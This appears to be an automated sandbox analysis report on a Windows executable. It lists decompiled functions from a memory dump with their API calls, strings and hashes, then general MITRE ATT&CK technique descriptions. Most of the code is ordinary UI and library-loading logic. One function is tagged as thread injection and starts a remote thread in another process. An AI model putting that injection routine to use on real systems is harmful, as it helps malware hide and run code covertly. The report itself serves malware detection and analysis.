Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf_wcslwrwcscpy
String ID: </%s>
API String ID: 3400436232-259020660
Opcode ID: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction ID: 202c728a503fdded71e402cbdefdfedacf6d04e10f6749ebe2a15fa747ba2321
Opcode Fuzzy Hash: 8ed6d9153b8ab756a1282c4525cb1f33682d7d4062ac2741ec7bca21e753fd7d
Instruction Fuzzy Hash: 820186B2D4012966D720A795CC46FEE766CEF44318F0004FABB08F71C2DB78AB458AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E0A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00405E0A(intOrPtr __ecx, void* __eflags, struct HWND__* _a4) {
				void _v8198;
				short _v8200;
				void* _t9;
				void* _t12;
				intOrPtr _t19;
				intOrPtr _t20;

				_t19 = __ecx;
				_t9 = E0040B550(0x2004, __ecx);
				_t20 = _t19;
				if(_t20 == 0) {
					_t20 =  *0x40fe24; // 0x0
				}
				_t25 =  *0x40fb90;
				if( *0x40fb90 != 0) {
					_v8200 = _v8200 & 0x00000000;
					memset( &_v8198, 0, 0x2000);
					_push(_t20);
					_t12 = 5;
					E00405E8D(_t12);
					if(E00405F39(_t19, _t25, L"caption",  &_v8200) != 0) {
						SetWindowTextW(_a4,  &_v8200);
					}
					return EnumChildWindows(_a4, E00405DAC, 0);
				}
				return _t9;
			}

APIs

memset.MSVCRT ref: 00405E44
SetWindowTextW.USER32(?,?), ref: 00405E74
EnumChildWindows.USER32 ref: 00405E84

Strings

caption, xrefs: 00405E59

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ChildEnumTextWindowWindowsmemset
String ID: caption
API String ID: 1523050162-4135340389
Opcode ID: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction ID: ff9fcce37bd20e8a069aa1bb12297d26d3abb42d57bfe77991e9b0a8e19eae59
Opcode Fuzzy Hash: 8feeb8209b6c70e9adfa8bd3f92da79707fac4aecb0355a736b6ddf0df3d27b2
Instruction Fuzzy Hash: 2DF04432940718AAEB20AB54DD4EB9B3668DB04754F0041B7BA04B61D2D7B8AE40CEDC

Uniqueness

Uniqueness Score: -1.00%

Function 00409A46, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409A46(struct HINSTANCE__** __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				struct HINSTANCE__* _t11;
				struct HINSTANCE__** _t14;
				struct HINSTANCE__* _t15;

				_t14 = __eax;
				if( *((intOrPtr*)(__eax)) == 0) {
					_t11 = E00405436(L"winsta.dll");
					 *_t14 = _t11;
					if(_t11 != 0) {
						_t14[1] = GetProcAddress(_t11, "WinStationGetProcessSid");
					}
				}
				_t15 = _t14[1];
				if(_t15 == 0) {
					return 0;
				} else {
					return _t15->i(0, _a4, _a16, _a20, _a8, _a12);
				}
			}

0x00409a4a
0x00409a4f
0x00409a56
0x00409a5e
0x00409a60
0x00409a6e
0x00409a6e
0x00409a60
0x00409a71
0x00409a76
0x00000000
0x00409a78
0x00000000
0x00409a89

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,WinStationGetProcessSid), ref: 00409A68

Strings

winsta.dll, xrefs: 00409A51
WinStationGetProcessSid, xrefs: 00409A62
Y@, xrefs: 00409A46

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: WinStationGetProcessSid$winsta.dll$Y@
API String ID: 946536540-379566740
Opcode ID: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction ID: f8fd4ca1437852706c932511ef9fc121d1f4ef25cad53c4396aefa54a2cc69ea
Opcode Fuzzy Hash: 1b7ebfe453553e3f98933d91fdad94fbea9a23791565fec376d5a3071c2edda0
Instruction Fuzzy Hash: 4AF08236644219AFCF219FE09C01B977BD5AB08710F00443AF945B21D1D67588509F98

Uniqueness

Uniqueness Score: -1.00%

Function 00404A44, Relevance: 6.0, APIs: 4, Instructions: 47
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A44(void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				long _v8;
				long _v12;
				long _t13;
				void* _t14;
				struct HWND__* _t24;

				_t24 = GetDlgItem(_a4, _a8);
				_t13 = SendMessageW(_t24, 0x146, 0, 0);
				_v12 = _t13;
				_v8 = 0;
				if(_t13 <= 0) {
					L3:
					_t14 = 0;
				} else {
					while(SendMessageW(_t24, 0x150, _v8, 0) != _a12) {
						_v8 = _v8 + 1;
						if(_v8 < _v12) {
							continue;
						} else {
							goto L3;
						}
						goto L4;
					}
					SendMessageW(_t24, 0x14e, _v8, 0);
					_t14 = 1;
				}
				L4:
				return _t14;
			}

APIs

GetDlgItem.USER32 ref: 00404A52
SendMessageW.USER32(00000000,00000146,00000000,00000000), ref: 00404A6A
SendMessageW.USER32(00000000,00000150,00000000,00000000), ref: 00404A80
SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00404AA3

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Item
String ID:
API String ID: 3888421826-0
Opcode ID: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction ID: a803108f18d13bdb161ef9cfeaea96f484be20865a03d7d0c1e8cd60aac843f5
Opcode Fuzzy Hash: 8e654b4fb51c2e6e0140a28d1ff35be7b55d0d95af2e0242a2f6fa2b8df4bf67
Instruction Fuzzy Hash: 02F01DB1A4010CFEEB018FD59DC1DAF7BBDEB89755F104479F604E6150D2709E41AB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040A272, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040A272(struct HINSTANCE__** __eax, void* _a4, _Unknown_base(*)()* _a8, void* _a12, DWORD* _a16) {
				void* _v8;
				char _v12;
				char* _v20;
				long _v24;
				intOrPtr _v28;
				char* _v36;
				signed int _v40;
				void _v44;
				char _v48;
				char _v52;
				struct _OSVERSIONINFOW _v328;
				void* __esi;
				signed int _t40;
				intOrPtr* _t44;
				void* _t49;
				struct HINSTANCE__** _t54;
				signed int _t55;

				_t54 = __eax;
				_v328.dwOSVersionInfoSize = 0x114;
				GetVersionExW( &_v328);
				if(_v328.dwMajorVersion < 6) {
					return CreateRemoteThread(_a4, 0, 0, _a8, _a12, 4, _a16);
				}
				E0040A1EF(_t54);
				_t44 =  *((intOrPtr*)(_t54 + 4));
				if(_t44 != 0) {
					_t55 = 8;
					memset( &_v44, 0, _t55 << 2);
					_v12 = 0;
					asm("stosd");
					_v36 =  &_v12;
					_v20 =  &_v52;
					_v48 = 0x24;
					_v44 = 0x10003;
					_v40 = _t55;
					_v28 = 0x10004;
					_v24 = 4;
					_a16 = 0;
					_t40 =  *_t44( &_a16, 0x1fffff, 0, _a4, _a8, _a12, 1, 0, 0, 0,  &_v48, _t49);
					asm("sbb eax, eax");
					return  !( ~_t40) & _a16;
				}
				return 0;
			}

APIs

GetVersionExW.KERNEL32(?,751468A0,00000000), ref: 0040A290
CreateRemoteThread.KERNEL32(?,00000000,00000000,?,?,00000004,?), ref: 0040A32F

Part of subcall function 0040A1EF: LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
Part of subcall function 0040A1EF: GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

$, xrefs: 0040A2E3

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCreateLibraryLoadProcRemoteThreadVersion
String ID: $
API String ID: 283512611-3993045852
Opcode ID: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction ID: f7bb912936b7b9019fec647a10c74351ea71fc4cb5320a39ef1905a9d188216f
Opcode Fuzzy Hash: d6a2f9152dd1fe2f0352f3baa78907b361cfe50d89148d1dfcfba5149de364ff
Instruction Fuzzy Hash: CC216DB290020DEFDF11CF94DD44AEE7BB9FB88704F00802AFA05B6190D7B59A54CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401676, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401676(void* __ecx, intOrPtr* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v80;
				signed short _v65616;
				void* _t27;
				intOrPtr _t28;
				void* _t34;
				intOrPtr _t39;
				intOrPtr* _t51;
				void* _t52;

				_t51 = __esi;
				E0040B550(0x1004c, __ecx);
				_t39 = 0;
				_push(0);
				_push( &_v8);
				_v8 =  *((intOrPtr*)(_a4 + 0x1c));
				_push(L"Lines");
				_t27 =  *((intOrPtr*)( *__esi))();
				if(_v8 > 0) {
					do {
						_t6 = _t39 + 1; // 0x1
						_t28 = _t6;
						_push(_t28);
						_push(L"Line%d");
						_v12 = _t28;
						_push(0x1f);
						_push( &_v80);
						L0040B1EC();
						_t52 = _t52 + 0x10;
						_push(0x7fff);
						_push(0x40c4e8);
						if( *((intOrPtr*)(_t51 + 4)) == 0) {
							_v65616 = _v65616 & 0x00000000;
							 *((intOrPtr*)( *_t51 + 0x10))( &_v80,  &_v65616);
							_t34 = E004054DF(_a4, _t51,  &_v65616);
						} else {
							_t34 =  *((intOrPtr*)( *_t51 + 0x10))( &_v80, E00405581(_a4, _t39));
						}
						_t39 = _v12;
					} while (_t39 < _v8);
					return _t34;
				}
				return _t27;
			}

APIs

_snwprintf.MSVCRT ref: 004016BC

Strings

Lines, xrefs: 00401696
Line%d, xrefs: 004016AE

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintf
String ID: Line%d$Lines
API String ID: 3988819677-2790224864
Opcode ID: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction ID: 1021665491e9d2d06496d958327cd8fefc515fbb55266dd5f91e98284186a054
Opcode Fuzzy Hash: c1f721086df18e7d6bb8eccb45024a01d2e3fe78f3e8b8c51705c1ae483569b9
Instruction Fuzzy Hash: 4C110071A00208EFCB15DF98C8C1D9EB7B9EF48704F1045BAF645E7281D778AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040507A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040507A(intOrPtr __eax, wchar_t* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				wchar_t* _v52;
				intOrPtr _v56;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v76;
				struct tagOFNA _v80;

				_v76 = __eax;
				_v68 = _a4;
				_v64 = 0;
				_v44 = 0;
				_v36 = 0;
				_v32 = _a8;
				_v20 = _a12;
				_v80 = 0x4c;
				_v56 = 1;
				_v52 = __esi;
				_v48 = 0x104;
				_v28 = 0x81804;
				if(GetOpenFileNameW( &_v80) == 0) {
					return 0;
				} else {
					wcscpy(__esi, _v52);
					return 1;
				}
			}

0x00405080
0x00405086
0x0040508b
0x0040508e
0x00405091
0x00405097
0x0040509d
0x004050a4
0x004050ab
0x004050b2
0x004050b5
0x004050bc
0x004050cb
0x004050e0
0x004050cd
0x004050d1
0x004050dc
0x004050dc

APIs

GetOpenFileNameW.COMDLG32(?), ref: 004050C3
wcscpy.MSVCRT ref: 004050D1

Strings

L, xrefs: 004050A4

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

SHGetSpecialFolderPathW, xrefs: 0040AC6F
shell32.dll, xrefs: 0040AC5B

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 0000001E.00000002.428373585.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.428354652.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428420012.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001E.00000002.428458077.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001E.00000002.428490057.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

